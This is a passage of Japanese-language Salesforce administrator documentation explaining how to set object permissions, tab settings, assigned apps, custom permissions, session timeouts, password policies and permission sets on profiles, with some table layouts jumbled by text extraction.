オブジェクト権限は、オブジェクトに対するアクセス権の種類を指定します。
1. [設定] から、次のいずれかの操作を実行します。

• [クイック検索]ボックスに「権限セット」と入力し、[権限セット]を選択
する

• [クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択する

2. 権限セットまたはプロファイルを選択します。
3. 使用しているインターフェースに応じて、次のいずれかの操作を実行しま

す。
• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検

索...] ボックスに、必要なオブジェクトの名前を入力し、リストからその
オブジェクトを選択します。[編集] をクリックし、[オブジェクト権限] セ
クションにスクロールします。

• 元のプロファイルユーザインターフェース — [編集] をクリックし、[標準
オブジェクト権限]、[カスタムオブジェクト権限]、または [外部オブジェ
クト権限] セクションまでスクロールします。

4. オブジェクト権限を指定します。
5. [保存] をクリックします。

関連トピック:

オブジェクトの権限
プロファイル
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権限セットとプロファイルでのタブ設定の表示と編集

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

タブ設定を使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

プロファイルを使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

タブ設定を参照する
• 「設定・定義を参照す

る」

タブ設定を編集する
• 「プロファイルと権限

セットの管理」

タブ設定はタブが [すべてのタブ] ページに表示されるか、タブセットで表示可
能かどうかを指定します。
1. [設定] から、次のいずれかの操作を実行します。

• [クイック検索]ボックスに「権限セット」と入力し、[権限セット]を選択
する

• [クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択する

2. 権限セットまたはプロファイルを選択します。
3. 次のいずれかの操作を実行します。

• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検
索...] ボックスに、必要なタブの名前を入力し、リストからそのタブを選
択して、[編集] をクリックします。

• 元のプロファイルユーザインターフェース — [編集] をクリックし、[タブ
の設定] セクションまでスクロールします。

4. タブ設定を指定します。
5. (元のプロファイルユーザインターフェースのみ) ユーザのタブのカスタマイ

ズを自分が指定するタブ表示設定にリセットするには、[各ユーザの「マイ
ディスプレイのカスタマイズに変更を反映させる] を選択します。

6. [保存] をクリックします。

メモ: 組織で Salesforce CRM Content が有効化されている場合でも、ユーザ詳
細ページの [Salesforce CRM Content ユーザ] チェックボックスをオンにして
いなければ、Salesforce CRM Content アプリケーションにタブは表示されませ
ん。

タブ設定
タブ設定では、タブを [すべてのタブ] ページで表示するか、関連付けられて
いるアプリケーションで表示するかを指定します。また、オブジェクトが
Lightning Experienceアプリケーションランチャーおよびナビゲーションメニュー
に表示されるかどうかも決定します。権限セットのタブ設定の表示ラベルは
プロファイルの表示ラベルとは異なります。

関連トピック:

プロファイル
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タブ設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

タブ設定を使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

プロファイルを使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

タブ設定では、タブを [すべてのタブ] ページで表示するか、関連付けられてい
るアプリケーションで表示するかを指定します。また、オブジェクトがLightning

Experience アプリケーションランチャーおよびナビゲーションメニューに表示さ
れるかどうかも決定します。権限セットのタブ設定の表示ラベルはプロファイ
ルの表示ラベルとは異なります。

説明プロファイルでの設定の
有効化

権限セットでの設定の有
効化

このタブは [すべてのタ
ブ] ページで利用できま
す。各ユーザは、どのア
プリケーションでもタブ
が表示されるように表示
をカスタマイズできま
す。

デフォルトで非表示利用可

タブは [すべてのタブ]

ページで利用でき、関連
付けられているアプリ
ケーションの表示タブに
表示されます。Lightning

Experienceでは、この設定
によってオブジェクトが
アプリケーションラン
チャーおよびナビゲー
ションメニューに表示さ
れるかどうかが決まりま
す。各ユーザは、表示を

デフォルトで表示[利用可] および [参照可
能]

カスタマイズしてタブを
非表示にしたり、その他
のアプリケーションで表
示したりできます。

このタブは [すべてのタ
ブ] ページでは利用でき

タブを隠すなし

ず、どのアプリケーショ
ンにも表示されません。

メモ: 同じタブの設定が有効になっている他の権限セットまたはプロファイルをユーザが持つ場合は、最
も権限の大きい設定が適用されます。たとえば、権限セット A では [取引先] タブに対して有効な設定は存
在せず、権限セット B では [取引先] タブの [選択可]設定が有効になっているとします。ユーザに権限セッ
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ト A と B が割り当てられている場合、そのユーザには [すべてのタブ] ページで [取引先] タブが表示されま
す。

関連トピック:

権限セットとプロファイルでのタブ設定の表示と編集

プロファイルでの割り当てられたアプリケーションの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションの表示
設定を編集する
• 「プロファイルと権限

セットの管理」

割り当てられたアプリケーション設定では、Force.comアプリケーションメニュー
で選択できるアプリケーションを指定します。
カスタマーポータルユーザからはアプリケーションを使用できないため、カス
タマーポータルユーザに関連付けられたプロファイルを除く各プロファイルに
は、表示可能なアプリケーションが少なくとも 1 つ必要です。
アプリケーションの表示を指定する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース — [割り当てられたアプリケー

ション] をクリックして、[編集] をクリックします。
• 元のプロファイルユーザインターフェース — [編集] をクリックし、[カス

タムアプリケーション設定] セクションまでスクロールします。

4. 1 つのデフォルトアプリケーションを選択します。デフォルトのアプリケー
ションは初回のログイン時に表示されます。

5. 表示する他のアプリケーションについて、[参照可能] を選択します。

関連トピック:

プロファイル
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プロファイルでのカスタム権限の有効化

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

プロファイルでカスタム
権限を有効にする
• 「プロファイルと権限

セットの管理」

カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへの
アクセス権を付与できます。カスタム権限を作成し、プロセスまたはアプリケー
ションに関連付けたら、プロファイルで権限を有効にできます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース: [カスタム権限] をクリックし

て、[編集] をクリックします。
• 元のプロファイルユーザインターフェース: [有効化されたカスタム権限]

関連リストで [編集] をクリックします。

4. カスタム権限を有効にするには、[利用可能なカスタム権限] リストで権限を
選択し、[追加] をクリックします。プロファイルからカスタム権限を削除す
るには、[有効化されたカスタム権限] リストから権限を選択して [削除] をク
リックします。

5. [保存] をクリックします。

関連トピック:

カスタム権限
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プロファイルでのセッションタイムアウト設定の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルのセッショ
ンとパスワードの設定を
編集する
• 「プロファイルと権限

セットの管理」

セッション設定は、ユーザの認証セッションがタイムアウトするまでの無操作
状態の経過時間の設定に使用します。セッションが終了した時点で、ユーザは
ログインし直す必要があります。
[セッションタイムアウトの開始条件]値をプロファイルで設定するまで、組織の
セッション設定の [タイムアウト値]が、そのプロファイルのユーザに適用され
ます。プロファイルの [セッションタイムアウトの開始条件]値が設定されると、
組織の [タイムアウト値] は上書きされます。組織の [タイムアウト値] への変
更は、独自の [セッションタイムアウトの開始条件] 値が設定されたプロファイ
ルのユーザには適用されません。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース — [セッションの設定]をクリッ

クして、[編集] をクリックします。
• 元のプロファイルユーザインターフェース — [編集] をクリックし、[セッ

ションの設定] セクションまでスクロールします。

4. ドロップダウンリストからタイムアウト値を選択します。
5. [保存] をクリックします
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プロファイルでのパスワードポリシーの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルのセッショ
ンとパスワードの設定を
編集する
• 「プロファイルと権限

セットの管理」

パスワードポリシーを設
定する
• 「パスワードポリシー

の管理」

組織に適切なレベルのパスワードセキュリティを使用するには、プロファイル
に割り当てられたユーザの [パスワードポリシー] 設定でパスワード要件を指定
します。プロファイルのパスワードポリシーを設定すると、そのプロファイル
のユーザに対して、組織のパスワードポリシーが上書きされます。パスワード
ポリシーをプロファイルに設定しない場合は、組織のパスワードポリシーが適
用されます。既存のプロファイルユーザの場合、ユーザがパスワードをリセッ
トしたときに、新しいプロファイルパスワードポリシーが有効になります。
組織のパスワードポリシーへの変更は、独自のパスワードポリシーが設定され
たプロファイルのユーザには適用されません。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択します。
3. 使用しているユーザインターフェースに応じて、次のいずれかの操作を実行

します。
• 拡張プロファイルユーザインターフェース — [パスワードポリシー] をク

リックして、[編集] をクリックします。
• 元のプロファイルユーザインターフェース — [編集] をクリックし、[パス

ワードポリシー] セクションまでスクロールします。

4. プロファイルの値を変更します。

メモ: [パスワードの有効期間] 設定を変更した場合に、ユーザの新しい
有効期限が古い有効期限よりも前になるとき、または [無期限] を選択
して有効期限が排除されるときは、変更がそのユーザのパスワード期限
に影響します。

5. [保存] をクリックします。

関連トピック:

プロファイルのパスワードポリシー項目

プロファイルのパスワードポリシー項目
[パスワードポリシー] 設定でパスワード要件を指定します。次の項目の説明を参考に、各項目がプロファイル
のパスワード要件にどのように影響するかを理解します。
組織のパスワードポリシーへの変更は、独自のパスワードポリシーが設定されたプロファイルのユーザには適
用されません。

説明項目

ユーザパスワードが失効し、変更する必要が生じるま
での期間。デフォルトは 90 日です。この設定は、セ

パスワードの有効期間
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説明項目

ルフサービスポータルでは使用できません。この設定
は、「パスワード無期限」権限を持つユーザには適用
されません。
[パスワードの有効期間]設定を変更した場合に、ユー
ザの新しい有効期限が古い有効期限よりも前になると
き、または [無期限] を選択して有効期限が排除され
るときは、変更がそのユーザのパスワード期限に影響
します。

ユーザの過去のパスワードを保存して、新しく設定さ
れるパスワードが固有のパスワードになるようにしま

過去のパスワードの利用制限回数

す。パスワード履歴は、この値を設定しない限り保存
されません。デフォルトは [3 回前のパスワードまで
使用不可] です。[パスワードの有効期間] 項目に [無
期限] を選択した場合を除き、[制限なし] を選択で
きません。この設定は、セルフサービスポータルでは
使用できません。

パスワードに必要な最小限の文字数。この値を設定し
ても、既存のユーザのパスワードには影響しません。

最小パスワード長

次回のパスワードの変更時に適用されます。デフォル
トは [8 文字以上] です。

ユーザのパスワードとして使用できる文字の種別の要
件。
複雑性レベル:

パスワード文字列の制限

• 制限なし  — 任意のパスワード値を許可します。最
も安全性の低いオプションです。

• 英・数字両方含める  — 少なくとも 1 つの英字と 1

つの数字を使用する必要があります (デフォルト)。
• 英字、数字、および特殊文字を組み合わせて使用す

る必要があります  — 少なくとも 1 つの英字、1 つの
数字、および ! # $ % - _ = + < > のうち 1 つ
の特殊文字を使用する必要があります。

• 数字、大文字および小文字をすべて含める  — 少なく
とも 1 つの数字、1 つの英大文字、および 1 つの英
小文字を使用する必要があります。

• 数字、大文字、小文字、および特殊文字をすべて含
める  — 少なくとも 1 つの数字、1 つの英大文字、
1 つの英小文字、および ! # $ % - _ = + < >

のうち 1 つの特殊文字を使用する必要があります。
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説明項目

メモ: 上記の特殊文字のみが要件を満たします。
他の記号文字は特殊文字とはみなされません。

値は、パスワードヒントの質問に対する回答にパス
ワードそのものを含めることはできないことを意味す

パスワード質問の制限

る [パスワードを含めないこと]、またはデフォルトの
[なし] です。回答に制限はありません。パスワード
ヒントの質問に対するユーザの回答は必須です。この
設定は、セルフサービスポータル、カスタマーポータ
ル、またはパートナーポータルでは使用できません。

ログイン失敗が許される回数。この回数を超えると、
そのユーザはロックアウトされ、ログインできなくな

ログイン失敗によりロックするまでの回数

ります。この設定は、セルフサービスポータルでは使
用できません。

ロックアウトが解除されるまでの所要時間。デフォル
トは 15 分です。この設定は、セルフサービスポータ
ルでは使用できません。

ロックアウトの有効期間

メモ: ユーザがロックアウトされた場合、その
ユーザはロックアウト期間の期限が切れるまで
待機する必要があります。「ユーザパスワード
のリセットおよびユーザのロック解除」権限を
持つユーザについては、[設定] から次の手順を
実行してロックを解除できます。
1. [クイック検索]ボックスに「ユーザ」と入力

します。
2. [ユーザ] を選択します。
3. ユーザを選択します。
4. [ロック解除] をクリックします。

このボタンは、ユーザがロックアウトされて
いる場合にのみ表示されます。

この機能により、セキュリティの質問に対する回答
を、入力と同時に非表示にします。デフォルトでは、
回答がプレーンテキストで表示されます。

パスワードのリセットの秘密の回答を非表示にする

メモ: 入力モードがひらがなに設定された
Microsoft Input Method Editor (IME) を組織で使用して
いる場合、通常のテキスト項目で ASCII 文字を入
力すると、日本語文字に変換されます。ただし、
IME は伏せ字のテキストを含む項目では適切に動
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説明項目

作しません。この機能を有効にした後で組織の
ユーザがパスワードまたはその他の値を正しく
入力できない場合は、機能を無効にしてくださ
い。

このオプションを選択すると、パスワードを 24 時間
以内に複数回変更できなくなります。

パスワードの有効期限は 1 日以上にする必要がありま
す

関連トピック:

プロファイルでのパスワードポリシーの表示と編集

権限セット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットは、さまざまなツールと機能へのアクセス権をユーザに付与する設
定と権限のコレクションです。権限セットの設定と権限はプロファイルにも含
まれますが、権限セットは、ユーザのプロファイルを変更せずにユーザの機能
アクセス権を拡張します。
ユーザが使用できるプロファイルは 1 つのみですが、Salesforce エディションに
よっては複数の権限セットを使用できます。権限セットは、プロファイルとは
関係なく、さまざまな種別のユーザに割り当てることができます。
権限がプロファイルでは無効で権限セットでは有効化されている場合、そのプ
ロファイルと権限セットを持つユーザには権限が付与されます。たとえば、Jane

Smith のプロファイルで「パスワードポリシーの管理」が有効化されていなくて
も、Jane の権限セットの 1 つで有効化されている場合、パスワードポリシーを管
理できます。
主要な職務とは関係なく、ユーザの論理グループ間でアクセスできるようにす
る場合は、権限セットを使用します。たとえば、組織に Inventory カスタムオブ
ジェクトがあるとします。多くのユーザはこのオブジェクトに対する「参照」アクセス権が必要ですが、少数
のユーザには「編集」アクセス権が必要です。「参照」アクセス権を付与する権限セットを作成し、該当する
ユーザに割り当てることができます。次に、Inventory オブジェクトへの「編集」アクセス権を付与する別の権
限セットを作成し、少数のユーザグループに割り当てます。
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段階的な手順: 権限セットを作成、編集、および割り当てる (Salesforce Classic)

関連トピック:

1 人のユーザへの権限セットの割り当て
権限セットの考慮事項
機能の権限セットライセンスと権限セットの割り当て
Standard Permission Set

セッションベースの権限セットとは?

権限セットの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットをコピーするか、新しい権限セットを作成できます。コピーした権
限セットには、開始時にコピー元の権限セットと同じライセンスと権限があり
ます。新しい権限セットには、開始時に選択されたライセンスと有効な権限は
ありません。

段階的な手順: 権限セットを作成、編集、割り当てる
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. [新規] をクリックします。
3. 権限セット情報を入力します。
4. 権限セットのユーザ種別を選択します。

関連トピック:

権限セット
Standard Permission Set

機能の権限セットライセンスと権限セットの割り当て
権限セットライセンスとは?
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権限セットでのユーザライセンスと権限セットライセンス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザライセンスと権限セットライセンスを権限セットで使用して、権限セッ
トの設定へのアクセス権を持つユーザの種別を制御できます。
基本的な知識があれば、権限セットは簡単に作成できます。権限セットを作成
するとき、特定のユーザライセンスまたは権限セットライセンスを選択します。
1 つの種類のライセンスを持つユーザのみがこの権限セットを使用する場合は、
そのユーザに関連付けられているライセンスを選択します。たとえば、次のよ
うに割り当てます。
• 権限セットを Salesforce ライセンスを持つユーザに割り当てるには、Salesforce

を選択します。
• 権限セットを Identity Connect 権限セットライセンスを持つユーザに割り当て

るには、Identity Connect を選択します。
権限セットをさまざまなライセンスを持つユーザに割り当てることもできます。
[--なし--] を選択します。このオプションでは、有効化されている権限を許可す
るライセンスを持つ任意のユーザに権限セットを割り当てることができます。
権限セットを Salesforce ライセンスを持つユーザおよび Salesforce Platform ライセンスを持つユーザに割り当てる
には、[--なし--] を選択します。

メモ:

• ユーザライセンスがない権限セットには、一部の有効な権限と設定が含まれていません。
• ライセンスがない権限セットは、有効化されている権限と設定を許可するユーザライセンスを持つ

ユーザに対してのみ割り当てることができます。たとえば、ユーザライセンスのない権限セットを作
成し、「Apex 開発」権限を有効化して、権限セットをSalesforce Platformユーザに割り当てないでくださ
い。Salesforce Platform ユーザライセンスでは Apex の開発を許可していないため、この権限セットを
Salesforce Platform ユーザに割り当てることはできません。

権限セットの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットの次の考慮事項と特殊な動作に注意してください。
新しい権限セットとコピーした権限セットの違い

新しい権限セットには、開始時に選択されたユーザライセンスと有効な権限
はありません。コピーした権限セットには、コピー元の権限セットと同じ
ユーザライセンスと権限があります。コピーした権限セットのユーザライセ
ンスは変更できません。新しい権限セットに元の権限セットと同じユーザラ
イセンスを設定する場合のみ、権限セットをコピーしてください。

制限
必ず、特定のエディションに関するSalesforceのエディション別の機能制限を
参照してください。

ユーザライセンスの制限
一部のユーザライセンスでは、ユーザがアクセスできるカスタムアプリケー
ション数またはカスタムタブ数が制限されます。この場合、ユーザに割り当
てられたプロファイルと権限セットを使用して、許可された数のみを割り当
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てることができます。たとえば、ある Force.com Light Appにアクセスできる Force.com App Subscriptionユーザラ
イセンスを持つユーザは、そのアプリケーションのカスタムタブにのみアクセスできます。

割り当てられたアプリケーション
割り当てられたアプリケーション設定では、Force.com アプリケーションメニューで選択できるアプリケー
ションを指定します。プロファイルとは異なり、権限セットではデフォルトのアプリケーションを割り当
てることはできません。アプリケーションを表示するかどうかのみを指定できます。

権限セットおよびプロファイル
APIバージョン 25.0 以降、明示的に割り当てられているかどうかに関係なく、すべてのプロファイルは自動
的に権限セットに関連付けられます。この権限セットには、プロファイルのユーザ権限、オブジェクト権
限、項目権限と、設定エンティティアクセス権設定が含まれます。これらのプロファイルによって所有さ
れる権限セットは、クエリできますが、変更はできません。また、ユーザインターフェースには表示され
ません。

権限セットと権限セットライセンス
APIバージョン 38.0 以降、権限セットを作成して権限セットライセンスに関連付けることができます。特定
の権限セットライセンスを使用して権限セットを作成すると、その権限セットに割り当てられているユー
ザは、権限セットライセンスに関連付けられているすべての機能を利用できるようになります。

Apex クラスのアクセス
権限セットについて、最上位のApexクラスのどのメソッドが実行可能であるかを指定できます。Apex クラ
スのアクセス設定は、次のメソッドにのみ適用されます。
• Web サービスメソッドなどの Apex クラスメソッド
• Visualforce ページに適用されるカスタム Visualforce コントローラまたはコントローラ拡張で使用されるメ

ソッド
トリガは、権限設定に関係なく、トリガイベント (insert または update) で必ず起動されます。

関連トピック:

レコードタイプへのアクセスの指定方法
権限セットでのユーザライセンスと権限セットライセンス
オブジェクトの権限
Salesforce の機能とエディションの制限
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権限セットリストの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを参照する、
権限セットリストを印刷
する
• 「設定・定義を参照す

る」

権限セットと権限セット
リストビューを削除する
• 「プロファイルと権限

セットの管理」

Salesforce組織の権限セットを表示するには、[設定] から、[クイック検索]ボック
スに「権限セット」と入力し、[権限セット] を選択します。[権限セット] リスト
ページで、次の操作を実行できます。
• ドロップダウンリストからビューを選択して、権限セットの条件設定済みリ

ストを表示する
• リストビューを作成または既存のビューを編集する
• ドロップダウンリストからリストビューを選択し、[削除] をクリックして、

リストビューを削除する
• [作成] をクリックして権限セットを作成する
• をクリックして、リストビューを印刷する
• をクリックして、リストビューを更新する
• リストビューで権限を直接編集する
• 権限セット名をクリックして権限セットを参照または編集する
• 権限セットがどのユーザにも割り当てられていない場合、[削除] をクリック

して権限セットを削除する

関連トピック:

権限セット
リストビューからの権限セットの編集
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権限セットリストビューの作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットリストビュー
を作成、編集、および削
除する
• 「プロファイルと権限

セットの管理」

権限セットリストビューを作成、編集して、特定の項目と権限が設定された権
限セットのリストを表示できます。たとえば、「すべてのデータの編集」が有
効になっているすべての権限セットのリストビューを作成できます。
1. [権限セット] ページで、[新規ビューの作成] をクリックするか、ビューを選

択して [編集] をクリックします。
2. ビュー名を入力します。
3. [検索条件の指定] で、「すべてのデータの編集 次の文字列と一致する True」

など、リスト項目が一致する必要がある条件を指定します。
a. 設定名を入力するか、 をクリックして検索し、必要な設定を選択しま

す。
b. 検索条件の演算子を選択します。
c. 一致する必要がある値を入力します。

ヒント: ユーザライセンスがない権限セットのみを表示するには、
[設定] に「ユーザライセンス」と入力して、[演算子] を equals に
設定し、[値] 項目に「""」と入力します。

d. 別の検索条件を指定するには、[行を追加]をクリックします。検索条件行
は、25 行まで指定できます。

4. [表示する項目の選択] で、リストビューの列として表示する設定を指定しま
す。15 列まで追加できます。
a. [検索] ドロップダウンリストから、設定種別を選択します。
b. 追加する設定の最初の数文字を入力し、[検索] をクリックします。

メモ: 検索で 500 個を超える値が検出されると、結果は表示されません。検索条件を絞り込み、表
示される検索結果の数を減らしてください。

5. [保存] をクリックするか、既存のビューをコピーする場合は、名前を変更して [別名で保存] をクリックし
ます。

関連トピック:

リストビューからの権限セットの編集
Salesforce Classic でのカスタムリストビューの作成
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リストビューからの権限セットの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

リストビューから複数の
権限セットを編集する
• 「プロファイルと権限

セットの管理」

個々の権限セットにアクセスしなくても、直接リストビューから最大 200 件の権
限セットの権限を変更できます。

メモ: この方法で権限セットを編集するときには注意してください。一括
変更を行うと、組織内のユーザに対して広範囲の影響が及ぶ可能性があり
ます。

1. 編集する権限セットと権限を含むリストビューを作成または選択します。
2. 複数の権限セットを編集するには、編集する各権限セットの横にあるチェッ

クボックスをオンにします。複数ページの権限セットを選択した場合、各
ページの選択は記憶されます。

3. 編集する権限をダブルクリックします。複数の権限セットの場合は、選択し
た権限セットのいずれかにある権限をダブルクリックします。

4. 表示されるダイアログボックスで、その権限を有効または無効にします。あ
る権限を変更すると、その他の権限も変更される場合があります。たとえ
ば、「ケースの管理」と「ケース所有者の移行」が権限セットで有効になっ
ている場合は、「ケース所有者の移行」を無効にすると、「ケースの管理」
も無効になります。この場合は、ダイアログボックスに影響を受ける権限が
一覧表示されます。

5. 複数の権限セットを変更するには、[[選択した n 件のすべてのレコード]] (n

は選択した権限セット数) を選択します。
6. [保存] をクリックします。
複数の権限セットを編集する場合は、編集権限のある権限セットのみが変更されます。たとえば、インライン
編集を使用して 10 個の権限セットの「すべてのデータの編集」を有効化し、1 つの権限セットには「すべての
データの編集」権限がないとします。この場合、「すべてのデータの編集」権限がない権限セット以外のすべ
ての権限セットで「すべてのデータの編集」が有効になります。
すべての変更が、設定変更履歴に記録されます。
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権限セットの概要ページ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを削除し、権
限セットのプロパティを
編集する
• 「プロファイルと権限

セットの管理」

権限セットの概要ページは、権限セットのすべての権限への開始点となります。
権限セットの概要ページを開くには、[設定] から、[クイック検索] ボックスに
「権限セット」と入力し、[権限セット]を選択して、表示する権限セットを選択
します。

段階的な手順: 権限セットを作成、編集、および割り当てる

Standard Permission Set

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

Standard Permission Set は、権限セットライセンスに関連付けられる特定の機能の
共通権限のグループで構成されます。Standard Permission Set を使用すると、カス
タム権限セットを作成する必要がないため、時間が節約されて管理が促進され
ます。
Standard Permission Set には次の権限セットライセンスが付属します。特定の機能
を有効にするには、その機能のドキュメントを参照してください。

権限セット名権限セットライセンス名

Salesforce Classic の Salesforce コンソール
ユーザ

Salesforce Classic のセールスコンソール
ユーザ

どの権限セットが標準なのかを確認するために、[カスタム] をリストビューに
追加します。Standard Permission Set の [カスタム] ボックスはオフになっています。
作成またはコピーした権限セットにはチェックマークが表示されます。
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Standard Permission Set は、組織の権限セット制限にはカウントされません。Standard Permission Set は必要に応じて
何度でもコピーできますが、編集することはできません。コピーしたものは、組織の権限セット制限にカウン
トされます。

例: たとえば、10 個の「セールスコンソールユーザ」権限セットライセンスを購入したとします。この場
合、次の操作を実行できます。
• 10 人のすべてのユーザを「Salesforce コンソールユーザ」権限セットに割り当てる。
• 一部のユーザを「Salesforce コンソールユーザ」権限セットに割り当てて、残りのユーザを「Salesforce

コンソールユーザ」のコピーに割り当てる。
• 「Salesforce コンソールユーザ」権限セットをコピーして、組織の構造に基づいて各コピーに異なるユー

ザを割り当てる。

セッションベースの権限セット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Developer Edition

セッションベースの権限セットを作成して、指定されたセッションの間のみア
クセスを許可することができます。たとえば、認証されたセッション中のみア
プリケーションにアクセス権を付与するセッションベースの権限セットを作成
できます。

セッションベースの権限セットとは?

セッションベースの権限セットは、指定されたセッションの間のみ使用でき
ます。セッションベースの権限セットをなぜ、どのような場合に作成するの
かを理解します。
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セッションベースの権限セットとは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Developer Edition

セッションベースの権限セットは、指定されたセッションの間のみ使用できま
す。セッションベースの権限セットをなぜ、どのような場合に作成するのかを
理解します。

メモ: セッションベースの権限セットは、現在、開発者プレビューとして
利用できます。

重要: セッションの有効化が必要な権限セットを含む管理パッケージは、
この機能なしでは顧客組織にインストールできません。

セッションベースの権限セットを使用して、事前に定義されたセッション種別
の間のみ機能的なアクセスを許可します。たとえば、組織に「Conference Room」(会議室) というカスタムオブ
ジェクトがあるとします。「Conference Room Sync」(会議室の同期) というモバイルアプリケーションに、その
オブジェクトへの参照および更新アクセス権があります。Conference Room Sync 接続モバイルアプリケーション
がユーザのセッションを生成した場合にのみオブジェクトの更新を許可する権限セットを作成します。
または、機密情報にアクセスする Web アプリケーションがあるとします。セキュリティ上の理由により、事
前に定義した期間中は特定種別のセッションへのユーザアクセスを制限します。ユーザがトークンを使用して
環境への認証を行うときにのみ有効化する、セッションベースの権限セットを作成できます。トークンの有効
期限が切れた場合、ユーザがアプリケーションに再度アクセスするときに再認証が必要になります。
セッションベースの権限セットを有効化するには、『SOAP API 開発者ガイド』の「SessionPermSetActivation」オブ
ジェクトを参照してください。「セッション権限セットの有効化を管理」権限が必要になります。
セッションベースの権限セットをユーザに割り当てる前に、ユーザが権限セットの条件を満たせるようにしま
す。たとえば、認証アプリケーションなど、適切なツールへのアクセス権をユーザに付与します。ベストプラ
クティスとして、ユーザに特定のアプリケーションやツールにアクセスできる条件について伝えます。

ヒント: 権限セットリストビューを作成するとき、どの権限セットがセッションベースかを表示するに
は、列を絞り込み、[セッションの有効化が必要] が含まれるように選択します。

ユーザの割り当て情報は、ユーザの詳細ページの [権限セットの割り当て: 有効化が必要] 関連リストに表示さ
れます。

